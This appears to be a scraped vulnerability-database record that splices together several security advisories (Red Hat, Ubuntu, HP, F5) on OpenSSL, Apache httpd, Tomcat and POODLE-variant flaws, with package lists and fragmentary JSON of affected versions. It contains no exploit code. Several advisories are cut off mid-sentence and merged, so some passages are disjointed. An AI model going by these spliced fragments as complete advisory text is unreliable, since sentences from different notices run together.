http://www.hpe.com/support/Subscriber_Choice\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here: http://www.hpe.com/support/Security_Bulletin_Archive\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HPE General Software\nHF = HPE Hardware and Firmware\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPV = ProCurve\nST = Storage Software\nUX = HP-UX\n\nCopyright 2016 Hewlett Packard Enterprise\n\nHewlett Packard Enterprise shall not be liable for technical or editorial\nerrors or omissions contained herein. The information provided is provided\n\"as is\" without warranty of any kind. To the extent permitted by law, neither\nHP or its affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. Hewlett\nPackard Enterprise and the names of Hewlett Packard Enterprise products\nreferenced herein are trademarks of Hewlett Packard Enterprise in the United\nStates and other countries. Other product and company names mentioned herein\nmay be trademarks of their respective owners",
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var-201711-0007
Vulnerability from variot

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients. OpenSSL is prone to denial-of-service vulnerability. Successful exploitation of the issue will cause excessive memory or CPU resource consumption, resulting in a denial-of-service condition. It supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, security hashing algorithm, etc. The following versions are affected: OpenSSL version 0.9.8, version 1.0.1, versions 1.0.2 through 1.0.2h, version 1.1.0. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

===================================================================== Red Hat Security Advisory

Synopsis: Important: Red Hat JBoss Core Services Apache HTTP Server 2.4.23 Service Pack 1 for RHEL 7 Advisory ID: RHSA-2017:1413-01 Product: Red Hat JBoss Core Services Advisory URL: https://access.redhat.com/errata/RHSA-2017:1413 Issue date: 2017-06-07 CVE Names: CVE-2016-0736 CVE-2016-2161 CVE-2016-6304 CVE-2016-7056 CVE-2016-8610 CVE-2016-8740 CVE-2016-8743 =====================================================================

  1. Summary:

An update is now available for Red Hat JBoss Core Services on RHEL 7.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

  1. Relevant releases/architectures:

Red Hat JBoss Core Services on RHEL 7 Server - noarch, ppc64, x86_64

  1. Description:

Red Hat JBoss Core Services is a set of supplementary software for Red Hat JBoss middleware products. This software, such as Apache HTTP Server, is common to multiple JBoss middleware products, and is packaged under Red Hat JBoss Core Services to allow for faster distribution of updates, and for a more consistent update experience.

This release of Red Hat JBoss Core Services Apache HTTP Server 2.4.23 Service Pack 1 serves as a replacement for Red Hat JBoss Core Services Apache HTTP Server 2.4.23, and includes bug fixes, which are documented in the Release Notes document linked to in the References.

Security Fix(es):

  • A memory leak flaw was found in the way OpenSSL handled TLS status request extension data during session renegotiation. A remote attacker could cause a TLS server using OpenSSL to consume an excessive amount of memory and, possibly, exit unexpectedly after exhausting all available memory, if it enabled OCSP stapling support. (CVE-2016-6304)

  • It was discovered that the mod_session_crypto module of httpd did not use any mechanisms to verify integrity of the encrypted session data stored in the user's browser. (CVE-2016-0736)

  • It was discovered that the mod_auth_digest module of httpd did not properly check for memory allocation failures. (CVE-2016-2161)

  • A timing attack flaw was found in OpenSSL that could allow a malicious user with local access to recover ECDSA P-256 private keys. (CVE-2016-8610)

  • It was discovered that the HTTP parser in httpd incorrectly allowed certain characters not permitted by the HTTP protocol specification to appear unencoded in HTTP request headers. If httpd was used in conjunction with a proxy or backend server that interpreted those characters differently, a remote attacker could possibly use this flaw to inject data into HTTP responses, resulting in proxy cache poisoning. (CVE-2016-8743)

  • A vulnerability was found in httpd's handling of the LimitRequestFields directive in mod_http2, affecting servers with HTTP/2 enabled. An attacker could send crafted requests with headers larger than the server's available memory, causing httpd to crash. (CVE-2016-8740)

Red Hat would like to thank the OpenSSL project for reporting CVE-2016-6304 and Shi Lei (Gear Team of Qihoo 360 Inc.) for reporting CVE-2016-8610. Upstream acknowledges Shi Lei (Gear Team of Qihoo 360 Inc.) as the original reporter of CVE-2016-6304.

  1. Solution:

For details on how to apply this update, which includes the changes described in this advisory, refer to:

https://access.redhat.com/articles/11258

For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted. After installing the updated packages, the httpd daemon will be restarted automatically.

  1. Bugs fixed (https://bugzilla.redhat.com/):

1377600 - CVE-2016-6304 openssl: OCSP Status Request extension unbounded memory growth 1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS 1401528 - CVE-2016-8740 httpd: Incomplete handling of LimitRequestFields directive in mod_http2 1406744 - CVE-2016-0736 httpd: Padding Oracle in Apache mod_session_crypto 1406753 - CVE-2016-2161 httpd: DoS vulnerability in mod_auth_digest 1406822 - CVE-2016-8743 httpd: Apache HTTP Request Parsing Whitespace Defects 1412120 - CVE-2016-7056 openssl: ECDSA P-256 timing attack key recovery

  1. JIRA issues fixed (https://issues.jboss.org/):

JBCS-319 - Errata for httpd 2.4.23 SP1 RHEL 7

  1. Package List:

Red Hat JBoss Core Services on RHEL 7 Server:

Source: jbcs-httpd24-httpd-2.4.23-120.jbcs.el7.src.rpm jbcs-httpd24-mod_security-2.9.1-19.GA.jbcs.el7.src.rpm jbcs-httpd24-openssl-1.0.2h-13.jbcs.el7.src.rpm

noarch: jbcs-httpd24-httpd-manual-2.4.23-120.jbcs.el7.noarch.rpm

ppc64: jbcs-httpd24-httpd-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-httpd-debuginfo-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-httpd-devel-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-httpd-libs-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-httpd-selinux-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-httpd-tools-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-mod_ldap-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-mod_proxy_html-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-mod_security-2.9.1-19.GA.jbcs.el7.ppc64.rpm jbcs-httpd24-mod_security-debuginfo-2.9.1-19.GA.jbcs.el7.ppc64.rpm jbcs-httpd24-mod_session-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-mod_ssl-2.4.23-120.jbcs.el7.ppc64.rpm jbcs-httpd24-openssl-1.0.2h-13.jbcs.el7.ppc64.rpm jbcs-httpd24-openssl-debuginfo-1.0.2h-13.jbcs.el7.ppc64.rpm jbcs-httpd24-openssl-devel-1.0.2h-13.jbcs.el7.ppc64.rpm jbcs-httpd24-openssl-libs-1.0.2h-13.jbcs.el7.ppc64.rpm jbcs-httpd24-openssl-perl-1.0.2h-13.jbcs.el7.ppc64.rpm jbcs-httpd24-openssl-static-1.0.2h-13.jbcs.el7.ppc64.rpm

x86_64: jbcs-httpd24-httpd-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-httpd-debuginfo-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-httpd-devel-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-httpd-libs-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-httpd-selinux-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-httpd-tools-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-mod_ldap-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-mod_proxy_html-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-mod_security-2.9.1-19.GA.jbcs.el7.x86_64.rpm jbcs-httpd24-mod_security-debuginfo-2.9.1-19.GA.jbcs.el7.x86_64.rpm jbcs-httpd24-mod_session-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-mod_ssl-2.4.23-120.jbcs.el7.x86_64.rpm jbcs-httpd24-openssl-1.0.2h-13.jbcs.el7.x86_64.rpm jbcs-httpd24-openssl-debuginfo-1.0.2h-13.jbcs.el7.x86_64.rpm jbcs-httpd24-openssl-devel-1.0.2h-13.jbcs.el7.x86_64.rpm jbcs-httpd24-openssl-libs-1.0.2h-13.jbcs.el7.x86_64.rpm jbcs-httpd24-openssl-perl-1.0.2h-13.jbcs.el7.x86_64.rpm jbcs-httpd24-openssl-static-1.0.2h-13.jbcs.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2016-0736 https://access.redhat.com/security/cve/CVE-2016-2161 https://access.redhat.com/security/cve/CVE-2016-6304 https://access.redhat.com/security/cve/CVE-2016-7056 https://access.redhat.com/security/cve/CVE-2016-8610 https://access.redhat.com/security/cve/CVE-2016-8740 https://access.redhat.com/security/cve/CVE-2016-8743 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/documentation/en/red-hat-jboss-core-services/

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

Copyright 2017 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . Description:

OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols, as well as a full-strength general-purpose cryptography library.

Apache Tomcat is a servlet container for the Java Servlet and JavaServer Pages (JSP) technologies. The updates are documented in the Release Notes document linked to in the References. If sendfile processing completed quickly, it was possible for the Processor to be added to the processor cache twice. This could lead to invalid responses or information disclosure. (CVE-2017-5647)

  • A vulnerability was discovered in the error page mechanism in Tomcat's DefaultServlet implementation. A crafted HTTP request could cause undesired side effects, possibly including the removal or replacement of the custom error page. Solution:

Before applying the update, back up your existing Red Hat JBoss Web Server installation (including all applications and configuration files).

The References section of this erratum contains a download link (you must log in to download the update).

This release includes bug fixes as well as a new release of OpenSSL. The JBoss server process must be restarted for the update to take effect. (CVE-2016-6304)

  • It was discovered that OpenSSL did not always use constant time operations when computing Digital Signature Algorithm (DSA) signatures. (CVE-2016-8610)

  • Multiple integer overflow flaws were found in the way OpenSSL performed pointer arithmetic. =========================================================================== Ubuntu Security Notice USN-3181-1 January 31, 2017

openssl vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 16.10
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 LTS
  • Ubuntu 12.04 LTS

Summary:

Several security issues were fixed in OpenSSL. This issue only applied to Ubuntu 12.04 LTS and Ubuntu 14.04 LTS as other releases were fixed in a previous security update. (CVE-2016-2177)

It was discovered that OpenSSL did not properly handle Montgomery multiplication, resulting in incorrect results leading to transient failures. This issue only applied to Ubuntu 16.04 LTS, and Ubuntu 16.10. This issue only applied to Ubuntu 12.04 LTS and Ubuntu 14.04 LTS. (CVE-2016-7056)

Shi Lei discovered that OpenSSL incorrectly handled certain warning alerts. (CVE-2016-8610)

Robert =C5=9Awi=C4=99cki discovered that OpenSSL incorrectly handled certain truncated packets. (CVE-2017-3731)

It was discovered that OpenSSL incorrectly performed the x86_64 Montgomery squaring procedure. This issue only applied to Ubuntu 16.04 LTS, and Ubuntu 16.10. (CVE-2017-3732)

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 16.10: libssl1.0.0 1.0.2g-1ubuntu9.1

Ubuntu 16.04 LTS: libssl1.0.0 1.0.2g-1ubuntu4.6

Ubuntu 14.04 LTS: libssl1.0.0 1.0.1f-1ubuntu2.22

Ubuntu 12.04 LTS: libssl1.0.0 1.0.1-4ubuntu5.39

After a standard system update you need to reboot your computer to make all the necessary changes

Show details on source website


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    "data": "A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients. OpenSSL is prone to denial-of-service vulnerability. \nSuccessful exploitation of the issue will cause excessive memory or CPU resource consumption, resulting in a denial-of-service condition. It supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, security hashing algorithm, etc. The following versions are affected: OpenSSL version 0.9.8, version 1.0.1, versions 1.0.2 through 1.0.2h, version 1.1.0. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Important: Red Hat JBoss Core Services Apache HTTP Server 2.4.23 Service Pack 1 for RHEL 7\nAdvisory ID:       RHSA-2017:1413-01\nProduct:           Red Hat JBoss Core Services\nAdvisory URL:      https://access.redhat.com/errata/RHSA-2017:1413\nIssue date:        2017-06-07\nCVE Names:         CVE-2016-0736 CVE-2016-2161 CVE-2016-6304 \n                   CVE-2016-7056 CVE-2016-8610 CVE-2016-8740 \n                   CVE-2016-8743 \n=====================================================================\n\n1. Summary:\n\nAn update is now available for Red Hat JBoss Core Services on RHEL 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat JBoss Core Services on RHEL 7 Server - noarch, ppc64, x86_64\n\n3. Description:\n\nRed Hat JBoss Core Services is a set of supplementary software for Red Hat\nJBoss middleware products. This software, such as Apache HTTP Server, is\ncommon to multiple JBoss middleware products, and is packaged under Red Hat\nJBoss Core Services to allow for faster distribution of updates, and for a\nmore consistent update experience. \n\nThis release of Red Hat JBoss Core Services Apache HTTP Server 2.4.23\nService Pack 1 serves as a replacement for Red Hat JBoss Core Services\nApache HTTP Server 2.4.23, and includes bug fixes, which are documented in\nthe Release Notes document linked to in the References. \n\nSecurity Fix(es):\n\n* A memory leak flaw was found in the way OpenSSL handled TLS status\nrequest extension data during session renegotiation. A remote attacker\ncould cause a TLS server using OpenSSL to consume an excessive amount of\nmemory and, possibly, exit unexpectedly after exhausting all available\nmemory, if it enabled OCSP stapling support. (CVE-2016-6304)\n\n* It was discovered that the mod_session_crypto module of httpd did not use\nany mechanisms to verify integrity of the encrypted session data stored in\nthe user\u0027s browser. (CVE-2016-0736)\n\n* It was discovered that the mod_auth_digest module of httpd did not\nproperly check for memory allocation failures. (CVE-2016-2161)\n\n* A timing attack flaw was found in OpenSSL that could allow a malicious\nuser with local access to recover ECDSA P-256 private keys. \n(CVE-2016-8610)\n\n* It was discovered that the HTTP parser in httpd incorrectly allowed\ncertain characters not permitted by the HTTP protocol specification to\nappear unencoded in HTTP request headers. If httpd was used in conjunction\nwith a proxy or backend server that interpreted those characters\ndifferently, a remote attacker could possibly use this flaw to inject data\ninto HTTP responses, resulting in proxy cache poisoning. (CVE-2016-8743)\n\n* A vulnerability was found in httpd\u0027s handling of the LimitRequestFields\ndirective in mod_http2, affecting servers with HTTP/2 enabled. An attacker\ncould send crafted requests with headers larger than the server\u0027s available\nmemory, causing httpd to crash. (CVE-2016-8740)\n\nRed Hat would like to thank the OpenSSL project for reporting CVE-2016-6304\nand Shi Lei (Gear Team of Qihoo 360 Inc.) for reporting CVE-2016-8610. \nUpstream acknowledges Shi Lei (Gear Team of Qihoo 360 Inc.) as the original\nreporter of CVE-2016-6304. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nFor the update to take effect, all services linked to the OpenSSL library\nmust be restarted, or the system rebooted. After installing the updated\npackages, the httpd daemon will be restarted automatically. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1377600 - CVE-2016-6304 openssl: OCSP Status Request extension unbounded memory growth\n1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS\n1401528 - CVE-2016-8740 httpd: Incomplete handling of LimitRequestFields directive in mod_http2\n1406744 - CVE-2016-0736 httpd: Padding Oracle in Apache mod_session_crypto\n1406753 - CVE-2016-2161 httpd: DoS vulnerability in mod_auth_digest\n1406822 - CVE-2016-8743 httpd: Apache HTTP Request Parsing Whitespace Defects\n1412120 - CVE-2016-7056 openssl: ECDSA P-256 timing attack key recovery\n\n6. JIRA issues fixed (https://issues.jboss.org/):\n\nJBCS-319 - Errata for httpd 2.4.23 SP1 RHEL 7\n\n7. Package List:\n\nRed Hat JBoss Core Services on RHEL 7 Server:\n\nSource:\njbcs-httpd24-httpd-2.4.23-120.jbcs.el7.src.rpm\njbcs-httpd24-mod_security-2.9.1-19.GA.jbcs.el7.src.rpm\njbcs-httpd24-openssl-1.0.2h-13.jbcs.el7.src.rpm\n\nnoarch:\njbcs-httpd24-httpd-manual-2.4.23-120.jbcs.el7.noarch.rpm\n\nppc64:\njbcs-httpd24-httpd-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-httpd-debuginfo-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-httpd-devel-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-httpd-libs-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-httpd-selinux-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-httpd-tools-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-mod_ldap-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-mod_proxy_html-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-mod_security-2.9.1-19.GA.jbcs.el7.ppc64.rpm\njbcs-httpd24-mod_security-debuginfo-2.9.1-19.GA.jbcs.el7.ppc64.rpm\njbcs-httpd24-mod_session-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-mod_ssl-2.4.23-120.jbcs.el7.ppc64.rpm\njbcs-httpd24-openssl-1.0.2h-13.jbcs.el7.ppc64.rpm\njbcs-httpd24-openssl-debuginfo-1.0.2h-13.jbcs.el7.ppc64.rpm\njbcs-httpd24-openssl-devel-1.0.2h-13.jbcs.el7.ppc64.rpm\njbcs-httpd24-openssl-libs-1.0.2h-13.jbcs.el7.ppc64.rpm\njbcs-httpd24-openssl-perl-1.0.2h-13.jbcs.el7.ppc64.rpm\njbcs-httpd24-openssl-static-1.0.2h-13.jbcs.el7.ppc64.rpm\n\nx86_64:\njbcs-httpd24-httpd-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-httpd-debuginfo-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-httpd-devel-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-httpd-libs-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-httpd-selinux-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-httpd-tools-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-mod_ldap-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-mod_proxy_html-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-mod_security-2.9.1-19.GA.jbcs.el7.x86_64.rpm\njbcs-httpd24-mod_security-debuginfo-2.9.1-19.GA.jbcs.el7.x86_64.rpm\njbcs-httpd24-mod_session-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-mod_ssl-2.4.23-120.jbcs.el7.x86_64.rpm\njbcs-httpd24-openssl-1.0.2h-13.jbcs.el7.x86_64.rpm\njbcs-httpd24-openssl-debuginfo-1.0.2h-13.jbcs.el7.x86_64.rpm\njbcs-httpd24-openssl-devel-1.0.2h-13.jbcs.el7.x86_64.rpm\njbcs-httpd24-openssl-libs-1.0.2h-13.jbcs.el7.x86_64.rpm\njbcs-httpd24-openssl-perl-1.0.2h-13.jbcs.el7.x86_64.rpm\njbcs-httpd24-openssl-static-1.0.2h-13.jbcs.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n8. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-0736\nhttps://access.redhat.com/security/cve/CVE-2016-2161\nhttps://access.redhat.com/security/cve/CVE-2016-6304\nhttps://access.redhat.com/security/cve/CVE-2016-7056\nhttps://access.redhat.com/security/cve/CVE-2016-8610\nhttps://access.redhat.com/security/cve/CVE-2016-8740\nhttps://access.redhat.com/security/cve/CVE-2016-8743\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/documentation/en/red-hat-jboss-core-services/\n\n9. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2017 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFZOEFDXlSAg2UNWIIRAkmJAJ4vtOF2J+v5N45Dg4fckgqFa+L96wCfVBp2\nJFT0GtD56HPD72nOXhIXyG8=\n=7n2G\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. Description:\n\nOpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and\nTransport Layer Security (TLS) protocols, as well as a full-strength\ngeneral-purpose cryptography library. \n\nApache Tomcat is a servlet container for the Java Servlet and JavaServer\nPages (JSP) technologies. The updates are documented in the Release Notes document\nlinked to in the References. If sendfile processing completed quickly, it was\npossible for the Processor to be added to the processor cache twice. This\ncould lead to invalid responses or information disclosure. (CVE-2017-5647)\n\n* A vulnerability was discovered in the error page mechanism in Tomcat\u0027s\nDefaultServlet implementation. A crafted HTTP request could cause undesired\nside effects, possibly including the removal or replacement of the custom\nerror page. Solution:\n\nBefore applying the update, back up your existing Red Hat JBoss Web Server\ninstallation (including all applications and configuration files). \n\nThe References section of this erratum contains a download link (you must\nlog in to download the update). \n\nThis release includes bug fixes as well as a new release of OpenSSL. The JBoss server process must be restarted for the update\nto take effect. (CVE-2016-6304)\n\n* It was discovered that OpenSSL did not always use constant time\noperations when computing Digital Signature Algorithm (DSA) signatures. \n(CVE-2016-8610)\n\n* Multiple integer overflow flaws were found in the way OpenSSL performed\npointer arithmetic. \n===========================================================================\nUbuntu Security Notice USN-3181-1\nJanuary 31, 2017\n\nopenssl vulnerabilities\n===========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 16.10\n- Ubuntu 16.04 LTS\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nSeveral security issues were fixed in OpenSSL. This\nissue only applied to Ubuntu 12.04 LTS and Ubuntu 14.04 LTS as other\nreleases were fixed in a previous security update. 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var-201412-0271
Vulnerability from variot

The SSL profiles component in F5 BIG-IP LTM, APM, and ASM 10.0.0 through 10.2.4 and 11.0.0 through 11.5.1, AAM 11.4.0 through 11.5.1, AFM 11.3.0 through 11.5.1, Analytics 11.0.0 through 11.5.1, Edge Gateway, WebAccelerator, and WOM 10.1.0 through 10.2.4 and 11.0.0 through 11.3.0, PEM 11.3.0 through 11.6.0, and PSM 10.0.0 through 10.2.4 and 11.0.0 through 11.4.1 and BIG-IQ Cloud and Security 4.0.0 through 4.4.0 and Device 4.2.0 through 4.4.0, when using TLS 1.x before TLS 1.2, does not properly check CBC padding bytes when terminating connections, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, a variant of CVE-2014-3566 (aka POODLE). NOTE: the scope of this identifier is limited to the F5 implementation only. Other vulnerable implementations should receive their own CVE ID, since this is not a vulnerability within the design of TLS 1.x itself. The problem is CVE-2014-3566 ( alias POODLE) Similar problem. TLS is a new protocol developed by the IETF (Engineering Task Force). It is based on the SSL protocol specification and is the subsequent version of SSL. The Secure Transport Layer Protocol (TLS) is used to provide confidentiality and data integrity between two communication applications.

TLS has security vulnerabilities that mainly affect browsers. Because TLS1.2 failed to correctly verify PADDING, even if the attacker did not first downgrade to SSL3.0, he could use TLS1.2 to bypass the transport layer encryption mechanism by using man-in-the-middle attack methods to steal the user's sensitive information, such as cookies , Account information, etc. Note: This issue was previously titled 'OpenSSL CVE-2014-8730 Man In The Middle Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. An attacker can exploit this issue to perform man-in-the-middle attacks and obtain sensitive information. Successful exploits will lead to other attacks. F5 BIG-IP LTM, etc. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. The following products and versions are affected: F5 BIG-IP LTM, APM, ASM version 10.0.0 to 10.2.4 and 11.0.0 to 11.5.1, AAM version 11.4.0 to 11.5.1, AFM 11.3. 0 to 11.5.1, Analytics 11.0.0 to 11.5.1, Edge Gateway, WebAccelerator, WOM 10.1.0 to 10.2.4 and 11.0.0 to 11.3.0, PEM 11.3.0 to 11.6.0, PSM 10.0.0 to 10.2.4 and 11.0.0 to 11.4.1, BIG-IQ Cloud, Security 4.0.0 to 4.4.0, Device 4.2.0 to 4.4 .0 version. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

Note: the current version of the following document is available here: https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/ docDisplay?docId=emr_na-c04819635

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c04819635 Version: 1

HPSBPV03516 rev.1 - HP VAN SDN Controller, Multiple Vulnerabilities

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2015-09-29 Last Updated: 2015-09-29

Potential Security Impact: Disclosure of Privileged Information, Remote Disclosure of Privileged Information

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY A potential security vulnerability has been identified with the HP VAN SDN Controller running SSLv3. This is the SSLv3 vulnerability known as "Padding Oracle on Downgraded Legacy Encryption" also known as "Poodle", which could be exploited remotely resulting in disclosure of privileged information.

References:

CVE-2014-8730 SSRT102263

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.

VAN SDN Controller 2.5.21 VAN SDN Controller 2.5.15

BACKGROUND

CVSS 2.0 Base Metrics

Reference Base Vector Base Score CVE-2014-8730 (AV:N/AC:M/Au:N/C:P/I:N/A:N) 4.3 =========================================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002

RESOLUTION

HP recommends disabling TLS v1.0 by deleting its entry in sslEnabledProtocols in the client Auth properties of the /opt/sdn/virgo/configuration/tomcat-server.xml file.

Open the /opt/sdn/virgo/configuration/tomcat-server.xml file for editing Change the following line from this: clientAuth="false" sslEnabledProtocols="TLSv1.0, TLSv1.1,TLSv1.2" to this: clientAuth="false" sslEnabledProtocols=" TLSv1.1,TLSv1.2" Restart the controller.

HISTORY Version:1 (rev.1) - 29 September 2015 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com.

Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com

Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins

Security Bulletin Archive: A list of recently released Security Bulletins is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX

Copyright 2015 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.

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Show details on source website


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        "model": "big-ip edge gateway",
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        "model": "big-ip edge gateway",
        "scope": "eq",
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        "version": "10.2.1"
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        "model": "big-ip analytics",
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        "version": "11.5.1"
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        "model": "big-ip analytics",
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        "version": "11.2.1"
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        "model": "big-ip analytics",
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        "version": "11.1.0"
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        "model": "big-ip analytics",
        "scope": "eq",
        "trust": 1.3,
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        "version": "11.0.0"
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        "model": "big-ip edge gateway",
        "scope": "eq",
        "trust": 1.0,
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        "version": "11.3.0"
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        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
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        "version": "11.3.0"
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        "model": "big-ip advanced firewall manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.0"
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      {
        "model": "big-iq device",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "4.4.0"
      },
      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.0.0"
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      {
        "model": "big-iq device",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "4.3.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.4"
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      {
        "model": "big-iq device",
        "scope": "eq",
        "trust": 1.0,
